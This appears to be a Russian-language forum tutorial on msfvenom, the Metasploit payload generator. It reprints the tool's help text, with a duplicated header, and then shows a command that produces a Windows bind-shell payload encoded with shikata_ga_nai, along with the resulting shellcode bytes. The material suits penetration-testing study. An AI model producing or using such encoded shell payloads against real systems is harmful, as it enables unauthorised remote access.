Что такое Msfvenom?
msfvenom - это сочетание Msfpayload и Msfencode , объединяющее оба эти инструмента в один экземпляр Framework. msfvenom заменил msfpayload и msfencode по состоянию на 8 июня 2015 года.
Преимуществами msfvenom являются:
- Один инструмент
- Стандартизированные параметры командной строки
- Увеличенная скорость
Код:
root@kali:~# msfvenom -h
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /opt/metasploit/apps/pro/msf3/msfvenom [options] >var=val>
Options:
root@kali:~# msfvenom -h
Error: MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options]
Options:
-p, --payload Payload to use. Specify a '-' or stdin to use custom payloads
--payload-options List the payload's standard options
-l, --list [type] List a module type. Options are: payloads, encoders, nops, all
-n, --nopsled Prepend a nopsled of [length] size on to the payload
-f, --format Output format (use --help-formats for a list)
--help-formats List available formats
-e, --encoder The encoder to use
-a, --arch The architecture to use
--platform The platform of the payload
--help-platforms List available platforms
-s, --space The maximum size of the resulting payload
--encoder-space The maximum size of the encoded payload (defaults to the -s value)
-b, --bad-chars The list of characters to avoid example: '\x00\xff'
-i, --iterations The number of times to encode the payload
-c, --add-code Specify an additional win32 shellcode file to include
-x, --template Specify a custom executable file to use as a template
-k, --keep Preserve the template behavior and inject the payload as a new thread
-o, --out Save the payload
-v, --var-name Specify a custom variable name to use for certain output formats
--smallest Generate the smallest possible payload
-h, --help Show this message
Использование командной строки MSFvenom
Ниже приведен пример командной строки msfvenom и ее вывод:
Код:
root@kali:~# msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b '\x00' -i 3 -f python
Found 1 compatible encoders
Attempting to encode payload with 3 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 326 (iteration=0)
x86/shikata_ga_nai succeeded with size 353 (iteration=1)
x86/shikata_ga_nai succeeded with size 380 (iteration=2)
x86/shikata_ga_nai chosen with final size 380
Payload size: 380 bytes
buf = ""
buf += "\xbb\x78\xd0\x11\xe9\xda\xd8\xd9\x74\x24\xf4\x58\x31"
buf += "\xc9\xb1\x59\x31\x58\x13\x83\xc0\x04\x03\x58\x77\x32"
buf += "\xe4\x53\x15\x11\xea\xff\xc0\x91\x2c\x8b\xd6\xe9\x94"
buf += "\x47\xdf\xa3\x79\x2b\x1c\xc7\x4c\x78\xb2\xcb\xfd\x6e"
buf += "\xc2\x9d\x53\x59\xa6\x37\xc3\x57\x11\xc8\x77\x77\x9e"
buf += "\x6d\xfc\x58\xba\x82\xf9\xc0\x9a\x35\x72\x7d\x01\x9b"
buf += "\xe7\x31\x16\x82\xf6\xe2\x89\x89\x75\x67\xf7\xaa\xae"
buf += "\x73\x88\x3f\xf5\x6d\x3d\x9e\xab\x06\xda\xff\x42\x7a"
buf += "\x63\x6b\x72\x59\xf6\x58\xa5\xfe\x3f\x0b\x41\xa0\xf2"
buf += "\xfe\x2d\xc9\x32\x3d\xd4\x51\xf7\xa7\x56\xf8\x69\x08"
buf += "\x4d\x27\x8a\x2e\x19\x99\x7c\xfc\x63\xfa\x5c\xd5\xa8"
buf += "\x1f\xa8\x9b\x88\xbb\xa5\x3c\x8f\x7f\x38\x45\xd1\x71"
buf += "\x34\x59\x84\xb0\x97\xa0\x99\xcc\xfe\x7f\x37\xe2\x28"
buf += "\xea\x57\x01\xcf\xf8\x1e\x1e\xd8\xd3\x05\x67\x73\xf9"
buf += "\x32\xbb\x76\x8c\x7c\x2f\xf6\x29\x0f\xa5\x36\x2e\x73"
buf += "\xde\x31\xc3\xfe\xae\x49\x64\xd2\x39\xf1\xf2\xc7\xa0"
buf += "\x06\xd3\xf6\x1a\xfe\x0a\xfe\x28\xbe\x1a\x42\x9c\xde"
buf += "\x01\x16\x27\xbd\x29\x1c\xf8\x7d\x47\x2c\x68\x06\x0e"
buf += "\x23\x31\xfe\x7d\x58\xe8\x7b\x76\x4b\xfe\xdb\x17\x51"
buf += "\xfa\xdf\xff\xa1\xbc\xc5\x66\x4b\xea\x23\x86\x47\xb4"
buf += "\xe7\xd5\x71\x77\x2e\x24\x4a\x3d\xb1\x6f\x12\xf2\xb2"
buf += "\xd0\x55\xc9\x23\x2e\xc2\xa5\x73\xb2\xc8\xb7\x7d\x6b"
buf += "\x55\x29\xbc\x26\xdd\xf6\xe3\xf6\x25\xc6\x5c\xad\x9c"
buf += "\x9d\x18\x08\x3b\xbf\xd2\xff\x92\x18\x5f\x48\x9b\xe0"
buf += "\x7b\x03\xa5\x32\x11\x27\x2b\x25\xcd\x44\xdb\xbd\xb9"
buf += "\xcd\x48\xda\x56\x4c\x56\xd5\x04\x87\x48\x3a\x6b\x9c"
buf += "\x2a\x15\x4d\xbc\x0b\x56\x06\xb5\xc9\x46\xd0\xfa\x68"
buf += "\xa6\x76\xe9\x52\x2c\x24\x62\x28\xe1\x1d\x87\xb0\x66"
buf += "\x93\x85\x8f\x87\x0f\xcf\x16\x29\x76\x03\x55\x0c\x0e"
buf += "\x3f\x17\xac"
Ссылка скрыта от гостей